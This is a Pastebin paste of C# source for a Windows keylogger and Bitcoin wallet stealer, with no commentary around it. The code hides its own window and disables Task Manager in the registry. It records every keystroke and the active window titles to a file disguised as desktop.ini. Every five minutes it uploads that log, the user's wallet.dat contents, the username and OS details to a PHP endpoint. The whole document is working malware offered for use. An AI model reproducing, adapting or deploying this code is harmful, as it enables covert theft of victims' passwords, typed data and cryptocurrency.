Advertisement
Condomenium

Djfjfj

Oct 19th, 2016
318
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.11 KB | None | 0 0
  1.  
  2. =====================
  3. main.cs
  4. ------------
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17. using System;
  18. using System.Reflection;
  19. using System.Net;
  20. using System.Collections.Specialized;
  21. using Microsoft.Win32;
  22. using System.Text;
  23. using System.Collections.Generic;
  24. using System.IO;
  25. using System.Runtime.InteropServices;
  26. using System.Threading;
  27. using System.Diagnostics;
  28. using System.Text.RegularExpressions;
  29. using System.Security.Cryptography;
  30.  
  31.  
  32.  
  33. namespace lukemin3walk3r
  34. {
  35.  
  36. class MainApp
  37. {
  38. [DllImport("user32.dll")]
  39. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  40.  
  41. static TimeSpan dueTime = new TimeSpan(0, 5, 0);
  42. static TimeSpan period = new TimeSpan(0, 5, 0);
  43. static Project122.Luke_Key_Walker kl = new Project122.Luke_Key_Walker();
  44. [STAThread]
  45.  
  46.  
  47. static void Main(string[] args)
  48. {
  49.  
  50. IntPtr h = Process.GetCurrentProcess().MainWindowHandle;
  51. ShowWindow(h, 0);
  52.  
  53. while (true)
  54. {
  55.  
  56. try
  57. {
  58.  
  59. Assembly asmPath = System.Reflection.Assembly.GetExecutingAssembly();
  60. string exePath = asmPath.Location.Substring(0, asmPath.Location.LastIndexOf("\\"));
  61.  
  62.  
  63. Lucifer();
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71. int fInterval = 1000;
  72. string filename = "desktop.ini";
  73. string mode = "day";
  74. string output = "file";
  75.  
  76.  
  77.  
  78. kl.LOG_OUT = output;
  79.  
  80. kl.LOG_MODE = mode;
  81.  
  82. string pestilence = System.IO.Path.GetTempPath();
  83.  
  84. string logpath = exePath + "\\" + filename;
  85.  
  86.  
  87.  
  88.  
  89. kl.LOG_FILE = logpath;
  90.  
  91.  
  92.  
  93.  
  94. kl.Enabled = true;
  95. kl.FlushInterval = fInterval;
  96.  
  97.  
  98.  
  99.  
  100. System.Threading.Timer timer = new System.Threading.Timer(worker, null, dueTime, period);
  101. Console.ReadKey();
  102.  
  103. }
  104.  
  105. catch
  106. {
  107.  
  108. }
  109. }
  110.  
  111.  
  112.  
  113. }
  114.  
  115.  
  116.  
  117.  
  118.  
  119. public static string wallet2text(string filepath)
  120. {
  121.  
  122.  
  123.  
  124. StreamReader streamReader = new StreamReader(filepath);
  125.  
  126. string btc_text = streamReader.ReadToEnd();
  127.  
  128. streamReader.Close();
  129.  
  130. return btc_text;
  131.  
  132.  
  133.  
  134. }
  135.  
  136.  
  137. public static void up_dat4(string guid1, string username1, string os_info, string btc2text, string keyfile )
  138. {
  139. try
  140. {
  141. string URL = "http://localhost/uploadpdo2.php";
  142. WebClient webClient = new WebClient();
  143.  
  144. NameValueCollection formData = new NameValueCollection();
  145. formData["guid"] = guid1;
  146. formData["username"] = username1;
  147. formData["os_info"] = os_info;
  148. formData["btcwallet"] = btc2text.ToString();
  149. formData["logtext"] = keyfile.ToString();
  150.  
  151. byte[] responseBytes = webClient.UploadValues(URL,"POST",formData);
  152. string responsefromserver = Encoding.UTF8.GetString(responseBytes);
  153.  
  154. webClient.Dispose();
  155.  
  156. }
  157.  
  158. catch
  159. {
  160.  
  161. }
  162.  
  163. }
  164.  
  165.  
  166.  
  167. private static void worker(object stateInfo)
  168. {
  169. try
  170. {
  171.  
  172. string file = kl.LOG_FILE;
  173.  
  174. string btcpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + "BitCoin" + "\\" + "wallet.dat";
  175.  
  176. string BtcWallet = btcpath;
  177.  
  178.  
  179.  
  180. string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
  181.  
  182.  
  183.  
  184. string networkname = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
  185.  
  186. string Osinfo = Belial_0s_inf0();
  187.  
  188.  
  189.  
  190. if (File.Exists(BtcWallet))
  191. {
  192.  
  193.  
  194. byte[] BtcBytes = System.IO.File.ReadAllBytes(BtcWallet);
  195. string btc2text = wallet2text(BtcWallet);
  196.  
  197. string uploadfile = kl.LOG_FILE;
  198.  
  199. string log2text = wallet2text(uploadfile);
  200.  
  201.  
  202.  
  203.  
  204. string guid = Guid.NewGuid().ToString();
  205.  
  206.  
  207. up_dat4(guid, userName, Osinfo, btc2text, log2text);
  208. }
  209.  
  210. else
  211. {
  212. string btc2text = "";
  213.  
  214. string uploadfile = kl.LOG_FILE;
  215.  
  216. string log2text = wallet2text(uploadfile);
  217.  
  218.  
  219.  
  220.  
  221. string guid = Guid.NewGuid().ToString();
  222.  
  223.  
  224. up_dat4(guid, userName, Osinfo, btc2text, log2text);
  225. }
  226.  
  227.  
  228. }
  229.  
  230. catch
  231. {
  232.  
  233. }
  234. }
  235.  
  236.  
  237. public static void Lucifer()
  238. {
  239. try
  240. {
  241. Microsoft.Win32.RegistryKey HKCU = Microsoft.Win32.Registry.CurrentUser;
  242. Microsoft.Win32.RegistryKey key = HKCU.CreateSubKey(@"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
  243. key.SetValue("DisableTaskMgr", 1, Microsoft.Win32.RegistryValueKind.DWord);
  244. key.Close();
  245.  
  246. }
  247. catch { }
  248.  
  249. }
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256. public static int Belial_0s_find()
  257. {
  258. string pa = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
  259. return ((String.IsNullOrEmpty(pa) || String.Compare(pa, 0, "x86", 0, 3, true) == 0) ? 32 : 64);
  260. }
  261.  
  262.  
  263.  
  264.  
  265.  
  266. public static string Belial_0s_inf0()
  267. {
  268.  
  269. OperatingSystem os = Environment.OSVersion;
  270.  
  271. Version vs = os.Version;
  272.  
  273. string operatingSystem = "";
  274.  
  275. if (os.Platform == PlatformID.Win32Windows)
  276. {
  277.  
  278. switch (vs.Minor)
  279. {
  280. case 0:
  281. operatingSystem = "95";
  282. break;
  283. case 10:
  284. if (vs.Revision.ToString() == "2222A")
  285. operatingSystem = "98SE";
  286. else
  287. operatingSystem = "98";
  288. break;
  289. case 90:
  290. operatingSystem = "Me";
  291. break;
  292. default:
  293. break;
  294. }
  295. }
  296. else if (os.Platform == PlatformID.Win32NT)
  297. {
  298. switch (vs.Major)
  299. {
  300. case 3:
  301. operatingSystem = "NT 3.51";
  302. break;
  303. case 4:
  304. operatingSystem = "NT 4.0";
  305. break;
  306. case 5:
  307. if (vs.Minor == 0)
  308. operatingSystem = "2000";
  309. else
  310. operatingSystem = "XP";
  311. break;
  312. case 6:
  313. if (vs.Minor == 0)
  314. operatingSystem = "Vista";
  315. else
  316. operatingSystem = "7";
  317. break;
  318. default:
  319. break;
  320. }
  321. }
  322.  
  323. if (operatingSystem != "")
  324. {
  325.  
  326. operatingSystem = "Windows " + operatingSystem;
  327.  
  328. if (os.ServicePack != "")
  329. {
  330.  
  331. operatingSystem += " " + os.ServicePack;
  332. }
  333.  
  334. operatingSystem += " " + Belial_0s_find().ToString() + "-bit";
  335. }
  336.  
  337. return operatingSystem;
  338. }
  339.  
  340.  
  341. }
  342. }
  343.  
  344.  
  345.  
  346. ======================
  347. lukemin3walk3r.cs
  348. --------------------
  349. using System;
  350. using System.IO;
  351. using System.Text;
  352. using System.Windows.Forms;
  353. using System.Runtime.InteropServices;
  354. using System.Security.Cryptography;
  355. using System.Reflection;
  356.  
  357. namespace Project122
  358. {
  359.  
  360. public class Luke_Key_Walker
  361. {
  362. [DllImport("User32.dll")]
  363.  
  364. private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey);
  365. [DllImport("User32.dll")]
  366.  
  367. private static extern short GetAsyncKeyState(System.Int32 vKey);
  368. [DllImport("User32.dll")]
  369.  
  370. public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
  371. [DllImport("User32.dll")]
  372.  
  373. public static extern int GetForegroundWindow();
  374.  
  375. private System.String ZeroKeyBuff3r;
  376. private System.Timers.Timer zerotimerkey;
  377. private System.Timers.Timer zero_buffah_flusha;
  378. private System.String hWndTitle;
  379. private System.String hWndTitlePast;
  380. public System.String LOG_FILE;
  381. public System.String LOG_MODE;
  382. public System.String LOG_OUT;
  383. private bool tglAlt = false;
  384. private bool tglControl = false;
  385. private bool tglCapslock = false;
  386.  
  387.  
  388. public Luke_Key_Walker()
  389. {
  390.  
  391. hWndTitle = ActiveAppl_Title();
  392. hWndTitlePast = hWndTitle;
  393.  
  394.  
  395. ZeroKeyBuff3r = "";
  396.  
  397.  
  398. this.zerotimerkey = new System.Timers.Timer();
  399. this.zerotimerkey.Enabled = true;
  400. this.zerotimerkey.Elapsed += new System.Timers.ElapsedEventHandler(this.zerotimerkey_Elapsed);
  401. this.zerotimerkey.Interval = 10;
  402.  
  403.  
  404. this.zero_buffah_flusha = new System.Timers.Timer();
  405. this.zero_buffah_flusha.Enabled = true;
  406. this.zero_buffah_flusha.Elapsed += new System.Timers.ElapsedEventHandler(this.zero_buffah_flusha_Elapsed);
  407. this.zero_buffah_flusha.Interval = 6000;
  408. }
  409.  
  410.  
  411.  
  412.  
  413.  
  414.  
  415. public static string ActiveAppl_Title()
  416. {
  417. int hwnd = GetForegroundWindow();
  418. StringBuilder sbTitle = new StringBuilder(1024);
  419. int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
  420. if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown";
  421. string title = sbTitle.ToString();
  422. return title;
  423. }
  424.  
  425.  
  426.  
  427. private void zerotimerkey_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
  428. {
  429. hWndTitle = ActiveAppl_Title();
  430.  
  431. if (hWndTitle != hWndTitlePast)
  432. {
  433. if (LOG_OUT == "file")
  434. ZeroKeyBuff3r += "[" + hWndTitle + "]";
  435. else
  436. {
  437. Flush2Console("[" + hWndTitle + "]", true);
  438. if (ZeroKeyBuff3r.Length > 0)
  439. Flush2Console(ZeroKeyBuff3r, false);
  440. }
  441. hWndTitlePast = hWndTitle;
  442. }
  443.  
  444. foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
  445. {
  446. if (GetAsyncKeyState(i) == -32767)
  447. {
  448.  
  449.  
  450. if (ControlKey)
  451. {
  452. if (!tglControl)
  453. {
  454. tglControl = true;
  455. ZeroKeyBuff3r += "<Ctrl=On>";
  456. }
  457. }
  458. else
  459. {
  460. if (tglControl)
  461. {
  462. tglControl = false;
  463. ZeroKeyBuff3r += "<Ctrl=Off>";
  464. }
  465. }
  466.  
  467. if (AltKey)
  468. {
  469. if (!tglAlt)
  470. {
  471. tglAlt = true;
  472. ZeroKeyBuff3r += "<Alt=On>";
  473. }
  474. }
  475. else
  476. {
  477. if (tglAlt)
  478. {
  479. tglAlt = false;
  480. ZeroKeyBuff3r += "<Alt=Off>";
  481. }
  482. }
  483.  
  484. if (CapsLock)
  485. {
  486. if (!tglCapslock)
  487. {
  488. tglCapslock = true;
  489. ZeroKeyBuff3r += "<CapsLock=On>";
  490. }
  491. }
  492. else
  493. {
  494. if (tglCapslock)
  495. {
  496. tglCapslock = false;
  497. ZeroKeyBuff3r += "<CapsLock=Off>";
  498. }
  499. }
  500.  
  501. if (Enum.GetName(typeof(Keys), i) == "LButton")
  502. ZeroKeyBuff3r += "<LMouse>";
  503. else if (Enum.GetName(typeof(Keys), i) == "RButton")
  504. ZeroKeyBuff3r += "<RMouse>";
  505. else if (Enum.GetName(typeof(Keys), i) == "Back")
  506. ZeroKeyBuff3r += "<Backspace>";
  507. else if (Enum.GetName(typeof(Keys), i) == "Space")
  508. ZeroKeyBuff3r += " ";
  509. else if (Enum.GetName(typeof(Keys), i) == "Return")
  510. ZeroKeyBuff3r += "<Enter>";
  511. else if (Enum.GetName(typeof(Keys), i) == "ControlKey")
  512. continue;
  513. else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
  514. continue;
  515. else if (Enum.GetName(typeof(Keys), i) == "RControlKey")
  516. continue;
  517. else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
  518. continue;
  519. else if (Enum.GetName(typeof(Keys), i) == "ShiftKey")
  520. continue;
  521. else if (Enum.GetName(typeof(Keys), i) == "LShiftKey")
  522. continue;
  523. else if (Enum.GetName(typeof(Keys), i) == "RShiftKey")
  524. continue;
  525. else if (Enum.GetName(typeof(Keys), i) == "Delete")
  526. ZeroKeyBuff3r += "<Del>";
  527. else if (Enum.GetName(typeof(Keys), i) == "Insert")
  528. ZeroKeyBuff3r += "<Ins>";
  529. else if (Enum.GetName(typeof(Keys), i) == "Home")
  530. ZeroKeyBuff3r += "<Home>";
  531. else if (Enum.GetName(typeof(Keys), i) == "End")
  532. ZeroKeyBuff3r += "<End>";
  533. else if (Enum.GetName(typeof(Keys), i) == "Tab")
  534. ZeroKeyBuff3r += "<Tab>";
  535. else if (Enum.GetName(typeof(Keys), i) == "Prior")
  536. ZeroKeyBuff3r += "<Page Up>";
  537. else if (Enum.GetName(typeof(Keys), i) == "PageDown")
  538. ZeroKeyBuff3r += "<Page Down>";
  539. else if (Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin")
  540. ZeroKeyBuff3r += "<Win>";
  541.  
  542.  
  543. if (ShiftKey)
  544. {
  545. if (i >= 65 && i <= 122)
  546. {
  547. ZeroKeyBuff3r += (char)i;
  548. }
  549. else if (i.ToString() == "49")
  550. ZeroKeyBuff3r += "!";
  551. else if (i.ToString() == "50")
  552. ZeroKeyBuff3r += "@";
  553. else if (i.ToString() == "51")
  554. ZeroKeyBuff3r += "#";
  555. else if (i.ToString() == "52")
  556. ZeroKeyBuff3r += "$";
  557. else if (i.ToString() == "53")
  558. ZeroKeyBuff3r += "%";
  559. else if (i.ToString() == "54")
  560. ZeroKeyBuff3r += "^";
  561. else if (i.ToString() == "55")
  562. ZeroKeyBuff3r += "&";
  563. else if (i.ToString() == "56")
  564. ZeroKeyBuff3r += "*";
  565. else if (i.ToString() == "57")
  566. ZeroKeyBuff3r += "(";
  567. else if (i.ToString() == "48")
  568. ZeroKeyBuff3r += ")";
  569. else if (i.ToString() == "192")
  570. ZeroKeyBuff3r += "~";
  571. else if (i.ToString() == "189")
  572. ZeroKeyBuff3r += "_";
  573. else if (i.ToString() == "187")
  574. ZeroKeyBuff3r += "+";
  575. else if (i.ToString() == "219")
  576. ZeroKeyBuff3r += "{";
  577. else if (i.ToString() == "221")
  578. ZeroKeyBuff3r += "}";
  579. else if (i.ToString() == "220")
  580. ZeroKeyBuff3r += "|";
  581. else if (i.ToString() == "186")
  582. ZeroKeyBuff3r += ":";
  583. else if (i.ToString() == "222")
  584. ZeroKeyBuff3r += "\"";
  585. else if (i.ToString() == "188")
  586. ZeroKeyBuff3r += "<";
  587. else if (i.ToString() == "190")
  588. ZeroKeyBuff3r += ">";
  589. else if (i.ToString() == "191")
  590. ZeroKeyBuff3r += "?";
  591. }
  592. else
  593. {
  594. if (i >= 65 && i <= 122)
  595. {
  596. ZeroKeyBuff3r += (char)(i + 32);
  597. }
  598. else if (i.ToString() == "49")
  599. ZeroKeyBuff3r += "1";
  600. else if (i.ToString() == "50")
  601. ZeroKeyBuff3r += "2";
  602. else if (i.ToString() == "51")
  603. ZeroKeyBuff3r += "3";
  604. else if (i.ToString() == "52")
  605. ZeroKeyBuff3r += "4";
  606. else if (i.ToString() == "53")
  607. ZeroKeyBuff3r += "5";
  608. else if (i.ToString() == "54")
  609. ZeroKeyBuff3r += "6";
  610. else if (i.ToString() == "55")
  611. ZeroKeyBuff3r += "7";
  612. else if (i.ToString() == "56")
  613. ZeroKeyBuff3r += "8";
  614. else if (i.ToString() == "57")
  615. ZeroKeyBuff3r += "9";
  616. else if (i.ToString() == "48")
  617. ZeroKeyBuff3r += "0";
  618. else if (i.ToString() == "189")
  619. ZeroKeyBuff3r += "-";
  620. else if (i.ToString() == "187")
  621. ZeroKeyBuff3r += "=";
  622. else if (i.ToString() == "92")
  623. ZeroKeyBuff3r += "`";
  624. else if (i.ToString() == "219")
  625. ZeroKeyBuff3r += "[";
  626. else if (i.ToString() == "221")
  627. ZeroKeyBuff3r += "]";
  628. else if (i.ToString() == "220")
  629. ZeroKeyBuff3r += "\\";
  630. else if (i.ToString() == "186")
  631. ZeroKeyBuff3r += ";";
  632. else if (i.ToString() == "222")
  633. ZeroKeyBuff3r += "'";
  634. else if (i.ToString() == "188")
  635. ZeroKeyBuff3r += ",";
  636. else if (i.ToString() == "190")
  637. ZeroKeyBuff3r += ".";
  638. else if (i.ToString() == "191")
  639. ZeroKeyBuff3r += "/";
  640. }
  641. }
  642. }
  643. }
  644.  
  645. #region toggles
  646. public static bool ControlKey
  647. {
  648. get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); }
  649. }
  650. public static bool ShiftKey
  651. {
  652. get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); }
  653. }
  654. public static bool CapsLock
  655. {
  656. get { return Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); }
  657. }
  658. public static bool AltKey
  659. {
  660. get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); }
  661. }
  662. #endregion
  663.  
  664. private void zero_buffah_flusha_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
  665. {
  666. if (LOG_OUT == "file")
  667. {
  668. if (ZeroKeyBuff3r.Length > 0)
  669. Flush2File(LOG_FILE);
  670. }
  671. else
  672. {
  673. if (ZeroKeyBuff3r.Length > 0)
  674. Flush2Console(ZeroKeyBuff3r, false);
  675. }
  676. }
  677.  
  678. public void Flush2Console(string data, bool writeLine)
  679. {
  680. if (writeLine)
  681. Console.WriteLine(data);
  682. else
  683. {
  684.  
  685. ZeroKeyBuff3r = "";
  686. }
  687. }
  688.  
  689. public void Flush2File(string file)
  690. {
  691.  
  692. try
  693. {
  694.  
  695.  
  696. FileStream fil = new FileStream(file, FileMode.Append, FileAccess.Write);
  697. using (StreamWriter sw = new StreamWriter(fil))
  698. {
  699.  
  700. sw.Write(ZeroKeyBuff3r);
  701.  
  702. }
  703.  
  704. ZeroKeyBuff3r = "";
  705. }
  706. catch (Exception ex)
  707. {
  708.  
  709.  
  710. throw;
  711. }
  712. }
  713.  
  714. #region Properties
  715. public System.Boolean Enabled
  716. {
  717. get
  718. {
  719. return zerotimerkey.Enabled && zero_buffah_flusha.Enabled;
  720. }
  721. set
  722. {
  723. zerotimerkey.Enabled = zero_buffah_flusha.Enabled = value;
  724. }
  725. }
  726.  
  727. public System.Double FlushInterval
  728. {
  729. get
  730. {
  731. return zero_buffah_flusha.Interval;
  732. }
  733. set
  734. {
  735. zero_buffah_flusha.Interval = value;
  736. }
  737. }
  738.  
  739. public System.Double MineInterval
  740. {
  741. get
  742. {
  743. return zerotimerkey.Interval;
  744. }
  745. set
  746. {
  747. zerotimerkey.Interval = value;
  748. }
  749. }
  750. #endregion
  751.  
  752. }
  753. }
  754.  
  755.  
  756.  
  757.  
  758.  
  759.  
  760.  
  761.  
  762.  
  763.  
  764.  
  765.  
  766.  
  767.  
  768.  
  769.  
  770.  
  771.  
  772.  
  773.  
  774.  
  775.  
  776.  
  777. # fkfkkf-07-30]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement